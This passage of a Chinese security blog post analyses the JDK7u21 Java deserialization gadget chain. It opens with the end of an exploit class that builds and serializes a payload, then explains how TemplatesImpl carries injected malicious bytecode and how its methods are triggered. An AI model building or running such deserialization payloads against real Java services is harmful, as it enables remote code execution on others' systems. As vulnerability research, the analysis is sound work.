proxy</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        map.put(zeroHashCodeStr, templates);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> set;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span> <span class="code-snippet__keyword">throws</span> Exception </span>{</span></code><code><span class="code-snippet_outer">        exp exploit = <span class="code-snippet__keyword">new</span> exp();</span></code><code><span class="code-snippet_outer">        Object payload = exploit.buildPayload();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// test payload</span></span></code><code><span class="code-snippet_outer">        ObjectOutputStream oos = <span class="code-snippet__keyword">new</span> ObjectOutputStream(<span class="code-snippet__keyword">new</span> FileOutputStream(<span class="code-snippet__string">&#34;payload.bin&#34;</span>));</span></code><code><span class="code-snippet_outer">        oos.writeObject(payload);</span></code><code><span class="code-snippet_outer">        ObjectInputStream ois = <span class="code-snippet__keyword">new</span> ObjectInputStream(<span class="code-snippet__keyword">new</span> FileInputStream(<span class="code-snippet__string">&#34;payload.bin&#34;</span>));</span></code><code><span class="code-snippet_outer">        ois.readObject();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n306" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">结合payload看分析，明白payload为什么这样写，更容易帮助我们理解这个漏洞。</span></p><h2 cid="n307" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 1rem;margin-bottom: 1rem;white-space: pre-wrap;border-bottom: 2px solid rgb(239, 112, 96);caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;font-weight: bold;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;background-position: initial initial;background-repeat: initial initial;">0x05 漏洞分析</span></h2><p cid="n308" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">如果分析过 CC 链或者看过 CC 链分析文章的朋友，一定知道在 CC 链中可以当成命令执行的载体有以下两个类：</span></p><ul class="list-paddingleft-2" cid="n309" mdtype="list" data-mark="-" style="margin-top: 0.5rem;margin-bottom: 0.5rem;padding-left: 25px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n311" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;padding: 2px 4px;border-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;">org.apache.commons.collections.functors.ChainedTransformer</code></span></p></li></ul><ul class="list-paddingleft-2" cid="n309" mdtype="list" data-mark="-" style="margin-top: 0.5rem;margin-bottom: 0.5rem;padding-left: 25px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n313" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;padding: 2px 4px;border-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;">org.apache.xalan.xsltc.trax.TemplatesImpl</code></span></p></li></ul><p><span md-inline="plain" style="box-sizing: border-box;">我们知道要想实现 RCE 就必须要调用一个命令执行类，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">Runtime.getRuntime().exec()</code><span md-inline="plain" style="box-sizing: border-box;">，CC 链中的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">org.apache.commons.collections.functors.ChainedTransformer</code><span md-inline="plain" style="box-sizing: border-box;">类就存在可以用于对象之间转换的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">Transformer</code><span md-inline="plain" style="box-sizing: border-box;">接口，它有几个我们用得着的实现类，ConstantTransformer、InvokerTransformer以及ChainedTransformer，利用这几个对象，就可以构造出一个可以执行命令的链，从而达到命令执行的目的。</span></span></span></span></p><p cid="n315" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">但若是没找到可以用于对象之间转换的接口或者这些接口在黑名单中怎么办呢？</span></p><p cid="n316" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;padding: 0.1em;color: rgb(220, 53, 69);"><span md-inline="plain" style="box-sizing: border-box;">当依赖或者源程序中不存在可以执行命令的方法时，可以选择使用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">TemplatesImpl</code><span md-inline="plain" style="box-sizing: border-box;">作为命令执行载体，并想办法去触发它的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">newTransformer</code><span md-inline="plain" style="box-sizing: border-box;">或</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">getOutputProperties</code><span md-inline="plain" style="box-sizing: border-box;">方法</span></span></span></span></strong></span></p><p cid="n317" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">也就是上面我们所说的第二个类</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">org.apache.xalan.xsltc.trax.TemplatesImpl</code><span md-inline="plain" style="box-sizing: border-box;">，这个类是 jdk7u21 原生 gadget 链中我们需要当初命令执行载体的类。</span></span></p><p cid="n318" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">那么这个类如果构建 evil 类需要满足哪些条件呢？已经有师傅总结成了以下几个条件：</span></p><ol class="list-paddingleft-2" start="" cid="n319" mdtype="list" style="margin-top: 0.5rem;margin-bottom: 0.5rem;padding-left: 25px;"><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n321" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="plain" style="box-sizing: border-box;">TemplatesImpl类的 </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">_name</code><span md-inline="plain" style="box-sizing: border-box;"> 变量 != null</span></span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n323" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="plain" style="box-sizing: border-box;">TemplatesImpl类的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">_class</code><span md-inline="plain" style="box-sizing: border-box;">变量 == null</span></span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n325" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="plain" style="box-sizing: border-box;">TemplatesImpl类的 </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">_bytecodes</code><span md-inline="plain" style="box-sizing: border-box;"> 变量 != null</span></span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n327" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="plain" style="box-sizing: border-box;">TemplatesImpl类的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">_bytecodes</code><span md-inline="plain" style="box-sizing: border-box;">是我们代码执行的类的字节码。</span></span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n329" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="plain" style="box-sizing: border-box;">执行的恶意代码写在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">_bytecodes</code><span md-inline="plain" style="box-sizing: border-box;"> 变量对应的类的静态方法或构造方法中。</span></span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n331" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="plain" style="box-sizing: border-box;">TemplatesImpl类的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">_bytecodes</code><span md-inline="plain" style="box-sizing: border-box;">是我们代码执行的类的字节码。</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">_bytecodes</code><span md-inline="plain" style="box-sizing: border-box;">中的类必须是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet</code><span md-inline="plain" style="box-sizing: border-box;">的子类</span></span></span></span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n333" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="plain" style="box-sizing: border-box;">TemplatesImpl类的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">_tfactory</code><span md-inline="plain" style="box-sizing: border-box;">需要是一个拥有</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">getExternalExtensionsMap()</code><span md-inline="plain" style="box-sizing: border-box;">方法的类，通常使用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">jdk</code><span md-inline="plain" style="box-sizing: border-box;">自带的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">TransformerFactoryImpl()</code><span md-inline="plain" style="box-sizing: border-box;">类</span></span></span></span></span></p></li></ol><p cid="n334" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">TemplatesImpl</code><span md-inline="plain" style="box-sizing: border-box;">有四个方法：</span></p><ul class="list-paddingleft-2" cid="n335" mdtype="list" data-mark="-" style="margin-top: 0.5rem;margin-bottom: 0.5rem;padding-left: 25px;"><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n337" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">TemplatesImpl.getOutputProperties()</code></span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n339" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">TemplatesImpl.newTransformer()</code></span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n341" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">TemplatesImpl.getTransletInstance()</code></span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n343" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">TemplatesImpl.defineTransletClasses()</code></span></p><p cid="n344" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">但是对于后两个来说，是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">private</code><span md-inline="plain" style="box-sizing: border-box;">方法，只能被对象可调用方法间接调用，而前两者是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">public</code><span md-inline="plain" style="box-sizing: border-box;">方法，可以被对象直接调用。</span></span></span></p><p cid="n345" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">那么第一阶段我们便明白了——利用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">TemplatesImpl</code><span md-inline="plain" style="box-sizing: border-box;">注入我们要构造的恶意类，然后想办法触发它的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">newTransformer</code><span md-inline="plain" style="box-sizing: border-box;">或</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">getOutputProperties</code><span md-inline="plain" style="box-sizing: border-box;">方法。</span></span></span></span></p><p cid="n346" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">怎么触发？</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">frohoff</code><span md-inline="plain" style="box-sizing: border-box;">给了我们答案——</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: 